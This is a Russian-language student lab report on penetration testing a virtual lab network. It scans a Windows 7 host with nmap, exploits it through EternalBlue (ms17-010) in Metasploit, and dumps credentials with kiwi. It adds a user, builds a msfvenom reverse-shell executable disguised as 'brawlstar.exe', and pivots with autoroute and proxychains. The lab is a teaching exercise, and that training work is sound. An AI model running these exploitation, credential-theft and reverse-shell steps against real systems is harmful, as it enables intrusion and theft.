# Практика №3. Эксплутация уязвимостей. MetaSplot Framework
## Построить инфраструктуру в системе EVE-NG (есть возможность ее импортировать)
Импортировали инфрастуктуру в pnet-lab

---
## Настроить каждое устройство в соответсвии со следующими параметрами:
* Kali-2021, Win-7, Win-10, Debian - получение адреса DHCP
* На PfSense выполнить проброс с внешних 445/tcp и 3389/tcp портов на аналогичные порты win-7 виртуальной машины
**DHCP** - сетевой протокол, позволяющий сетевым устройствам автоматически получать IP-адрес и другие параметры, необходимые для работы в сети TCP/IP.
Для получения ip-адресов по протоколу DHCP нужно настроить pfsense.
При запуске межсетевого экрана можно увидеть, что работает он прекрасно и должен раздать устройствам в сети их ip-адреса.
**WAN** - Wida Area Network - адрес устройств при выходе в Интернет
**LAN** - Local Area Network - адрес устройства в локальной сети

Затем нужно включить Debian и зайти в настройки его интерфейсов с помощью команды `nano /etc/network/interfaces`

Выясняется, что настройка получения ip по dhcp у него есть.
**iface inet dhcp** значит получение ip-адреса по dhcp.
**ens33** другое название для eth0.
**allow-hotplug** будет автоматически перезагружать интерфейс в случае, если он упадет.
Больше ничего интересного здесь нет и редактор можно закрыть.

Далее следует использовать команду dhclient, чтобы он получил ip и убедиться, что всё успешно получено. Можно его закрыть.

Далее нужно запустить устройство с Windows 10 и убедиться, что оно так же получило свой ip-адрес без проблем. Для этого в командной строке нужно ipconfig. Его ip:192.168.1.110

Аналогичным образом нужно запустить устройство с Windows 7 и проверить, что оно получила ip по dhcp с помощью команды ipconfig. Как видно, его ip: 192.168.1.108

Затем нужно настроить проброс портов или по-другому Port-forwading.
**Port-forwarding** - это технология, которая позволяет обращаться из Интернет к компьютеру во внутренней сети за маршрутизатором, использующим NAT (NAPT). Доступ осуществляется при помощи перенаправления трафика определенных портов с внешнего адреса маршрутизатора на адрес выбранного компьютера в локальной сети.
В браузере ввести ip межсетевого экрана - 192.168.1.1, чтобы открыть pfsense. Он понадобиться для проброса портов.

Нужно открыть настройки NAT и проброса портов.

Необходимо создать правило. В качестве Redirect target IP указать ip-адрес машинки, к которой проводится доступ, то есть к устройству с windows 7. В destination port range и в redirect target port, то есть с какого и на какой порт трафик будет перенаправляться, нужно указать 445 порт. Аналогичные действия нужно провести для порта 3389.


Все правила в pfsense успешно применились.

Так же в настройках WAN следует убрать эти две галочки для отключения блокировки локальных адресов и bogon адресов(Ip-адресов, которые не должны встречаться в таблице маршрутизации).

---
## Выполнить сканирование внешнего интерфейса межсетевого экрана с помощью nmap и Nessus с целью обнаружения уязвимых сервисов
Далее на Kali Linux для сканирования внешнего интерфейса межсетевого экрана можно воспользоваться утилитой nmap и ввести следующую команду:
`sudo nmap 192.168.186.142 -p 445,3389 -A`
**-А** - флаг, который означает "агрессивное" сканирование.
**192.168.186.142** - внешний ip-адрес, раздаваемый межсетевым экраном.
**-p 445, 3389** - порты, которые необходимо просканировать (в рамках работы нам они уже известны).
Таким образом просканируется указанный ip и выяснится, что кали линукс видит проброшенные раннее порты, а так же можно узнать некую информацию о самом устройстве, с которого порты были проброшены.

Можно посмотреть информацию о сессии пользователя, который раннее пользовался устройством, операционной системе устройства и т.д.

Чтобы понять, какие уязвимости есть и какие можно эксплуатировать на просканированной OS, можно воспользоваться nmap со скриптами (Nessus, увы, воспользоваться невозможно, т.к. он работает только с vpn, а вот Pnet-lab с vpn не работает) и ввести следующую команду:
`sudo nmap -sV --script vuln -p 445 192.168.186.142`
Скрипт **vuln** - выводит информацию о найденной узявимости: краткое описание и CVSS scores(стандарт, который проводит расчет количественных оценок уязвимостей).
**-sV** - флаг, который проверяет открытые порты для определения информации о службе.
в качестве Ip адреса указывается все тот же внещний ip-адрес, который раздает межсетевой экран.
После сканирования, выясняется, что в данной ОС есть уязвимость ms17-010, которой можно воспользоваться.
**ms17-010** - эта уязвимость известна как EternalBlue. Она позволяет атакующему выполнять код с самыми высокими привилегиями, возможными в пользовательской модели Microsoft Windows.


---
## Используя Metasploit Framework - получить доступ до Windows-7 виртуальной машины
**Metasploit** - представляет собой платформу для тестирования на проникновение, позволяет имитировать сетевые атаки, а также является средством создания и применения эксплойтов.
Так как теперь известна уязвимость на просканированном устройстве, можно ей воспользоваться. Можно исопльзовать Metasploit Framework. Для этого нужно запустить командную оболочку msfconsole.


Командой show exploits можно увидеть список всех доступных эксплойтов

Нужно искать эксплойты для уже найденной уязвимости ms17-010. Под номером 0 находится уязвимость удаленного подключения к Windows - EternalBlue.

Затем нужно использоваться этот эксплойт командой use 0 и посмотреть его опции, чтобы понять, что необходимо указывать для атаки. По умолчанию в качестве RPORT указан 445 порт. Так же требуется указать RHOSTS, а последние два значения: VERIFY_ARCH И VERIFY_TARGET нужны для проверки совместимости атакуемой системы с необходимой.


Нужно проивзести настройку параметра RHOSTS. В качестве значения будет указан внешний ip-адрес, присвоенной Windows 7.

Все настройки были проведены. Нужно запустить эксплойт командой run. Как видно из скриншотов, проникновение прошло успешно (об этом говорит надпись WIN).


---
## Используя payload meterpreter:
**Meterpreter** - это расширенная многофункциональная нагрузка (payload), которая используется в Metasploit Framework как унифицированная основа для постэксплуатации.
По заданию нужно сделать скриншот экрана. Это делается простой командой screenshot. Снимок сохраняется в домашней папке, где его можно открыть.


Далее следует использовать технологию reverse_tcp. Так как среда exploit создала оболочку для внедреняи кода, нужно использовать нагрузку payload, которую необходимо запустить, т.к. она уже содержит необходимый код.
**reverse tcp (reverse shell)** - позволяет удаленно управлять скомпрометированным компьютером.
Установив reverse_tcp командой set, можно его запустить командой run.


Затем, чтобы получить информации об учетных записях, нужно загрузить утилиту kiwi командой load kiwi - она нужна для вывода конфедициальной информации, например паролей.

Чтобы посмотреть учетные записи, нужно воспользоваться командой creds all. Выводится информация о пользователях, сохраненных в оперативной памяти.


Далее для создания нового пользователя, следует узнать, какие модули можно использовать. И соответственно можно найти нужный для создания нового пользователя:


Затем нужно его установить командой use post/windows/manage/add_user и посмотреть опции, чтобы понять, какие обязательные параметры нужно настроить. Как видно, необходимо указать имя пользователя и активную сессию. Командой sessions можно просмотреть активные сессии и здесь эта под номером 1.


Далее для создания нового пользователя задаются сессия и имя. В качестве сессии будет выбрана под номером 1, а для имени установлено значение test.

Затем нужно это запустить командой run. Модуль успешно запускается.

Далее нужно запустить активную сессию и в meterpreter создать нового пользователя с указанным именем и каким-нибудь выдуманным паролем командой:
`run getgui -u test -p 12345`
**-u** - флаг для указания имени
**-p** - флаг для указания пароля
фнукция getgui позволяет получить удаленный доступ к системе и создать в ней пользователя.

Нужно зайти в window 7 и убедиться, что новый пользователь был создан. Так же можно просмотреть информацию и о других учетных записях в этой системе.

---
Далее необходимо выполнить проксирование трафика. Одним из его вариантов может быть проброс портов с помощью ssh-туннелирования.
**Прокси (прокси-сервер)** - промежуточный сервер в компьютерных сетях, выполняющий роль посредника между пользователем и целевым сервером, позволяющий клиентам как выполнять косвенные запросы к другим сетевым службам, так и получать ответы.
Для настройки проксирования, нужно перейти на Kali linux и в командной строке запустить для него ssh.
**SSH** - сетевой протокол прикладного уровня, позволяющий производить удалённое управление операционной системой и туннелирование TCP-соединений.

Можно посмотреть, какие соединения на данный момент открыты командой -ss tlnp. Сейчас их немного, но позже станет чуть побольше.
**-t** - флаг, который выводит список TCP соединений.
**-l** - флаг, который выводит только Listening сокеты
**-n** - флаг, который показывает номер порта.
**-p** - флаг, флаг, который показывает имя процесса или программы.

Так же нужно посмотреть ip-адрес устройства, который понадобится в дальнейшем. Ip: 192.168.186.130

Затем на Windows 10 нужно выключить сразу брандмауэр, а так же включить разрешение на использование удаленного рабочего стола.

С помощью команды:
`ssh -R 3390:localhost:3389 user@192.168.186.130`
Будет произведено удаленное подключение по ssh к линукс устройству.
**-R** - флаг означает удаленное подключение.
**3390** - здесь может быть любой незанятый порт.
**localhost** - адрес системы клиента
**3389** - порт источника.
**user** - пользователь, которому предоставляется соединение.
**192.168.186.130** - ip-адрес пользователя.

Затем на линуксе нужно использовать команду -ss tulnp и посмотреть, какие соединия были открыты. Порт, который был открыт на Windows 10, так же успешно открылся и здесь.

Можно подключиться по удаленному серверу к другой системе командой `sudo xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3390`
freerdp - утилита, реализующая протокол удаленного рабочего стола (RDP).
под /u: указывается имя пользователя системы,
/p: указывается пароль от пользователя,
/v: указывается адрес системы, к которой будет происходит подключение.

Как видно, подключение прошло успешно и открылся удаленный рабочий стол другой системы, с который был проброс.

Затем будет производится получение доступа к внутренней сети инфраструктуры. С помощью msfvenom, которая будет подключаться к локальному адресу, можно создать полезную нагрузку. Создается она командой:
`msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.186.130 LPORT=5555 -f exe -o brawlstar.exe`
**-o** - флаг, означающий, что нужно сохранить полезную нагрузку.
**-f** - флаг, означающий формат файла.
**brawlstar.exe** - Название файла.
**LPORT** - любой порт, который можно указать.

С помощью модуля Python можно поднять локальный сервер по указанному порту и передать полезную нагрузку.

При подключении на Windows 10 к адресу Kali Linux, можно увидеть дерикторию с созданным ранне файлом. Нужно его сохранить, чтобы атака была проведена. Так же лучше заранее отключить антивирус. Если запутстить данный файл, то атака бужет произведена.


Для проведения атаки нужно ипользовать уязвимость exploit/multi/handler (нужна для эксплойтов, которые запускаются в незивестном месте). При просмотре опции, видно, что по умолчанию в качестве LPORT указан 4444 порт, его нужно изменить на тот, который был указан при создании полезной нагрузки. Осталось указать LHOST.


В качестве LHOST указывается 0.0.0.0, а в LHOST=55555.

Запуск вредонсного ПО проходит успешно. Поле запуска пользователм скачанного файла, откроется meterpreter. Можно написать ipconfig и увидеть, что отображается ip_адрес Windows 10: 192.168.1.110.


Нужно получить доступ до сети 192.168.1.0. Следует добавить маршрутизацию через внешний адрес сети в инфрастуктур командой run autoroute -s 192.168.1.0/24.

Затем нужно запустить модуль arp_scanner для распознавания яастных адресов внутри сети. Были обнаружены адреса межсетевого экрана и Windows 10, т.к. только они и работали.

Затем нужно произвести уход в фоновый режим, чтобы соединение продолжалось оставаться активным.

Для проксирования трафика можно было использовать модуль sock4a, но он не был найден, вместо него был найден похожий модуль socks_proxy.


Ничего дополнительного настраивать не нужно, поэтому модуль запускается командой run и успешно.

Затем нужно отредактировать конфигурационный файл proxychains.conf, чтобы все заработало. В файле прописывается созданное соединение.


Под конец нужно запустить утилиту nmap с флагами:
**-sT** - сканрует все TCP соединения.
**-sV** - првоеряте открытые порты для поиска информации о службе.
**-n** - убирает преобразование в DNS-адрес.
Таким образом, были обнаружены порты 445,135, 139 и 3389.
**Порт 135** используется функцией отображения конечных точек RPC.
**Порт 139** используется сеансовой службой NetBIOS, которая активизирует браузер поиска других компьютеров, службы совместного использования файлов, Net Logon и службу сервера.
Порты были просканированы и они открыты.

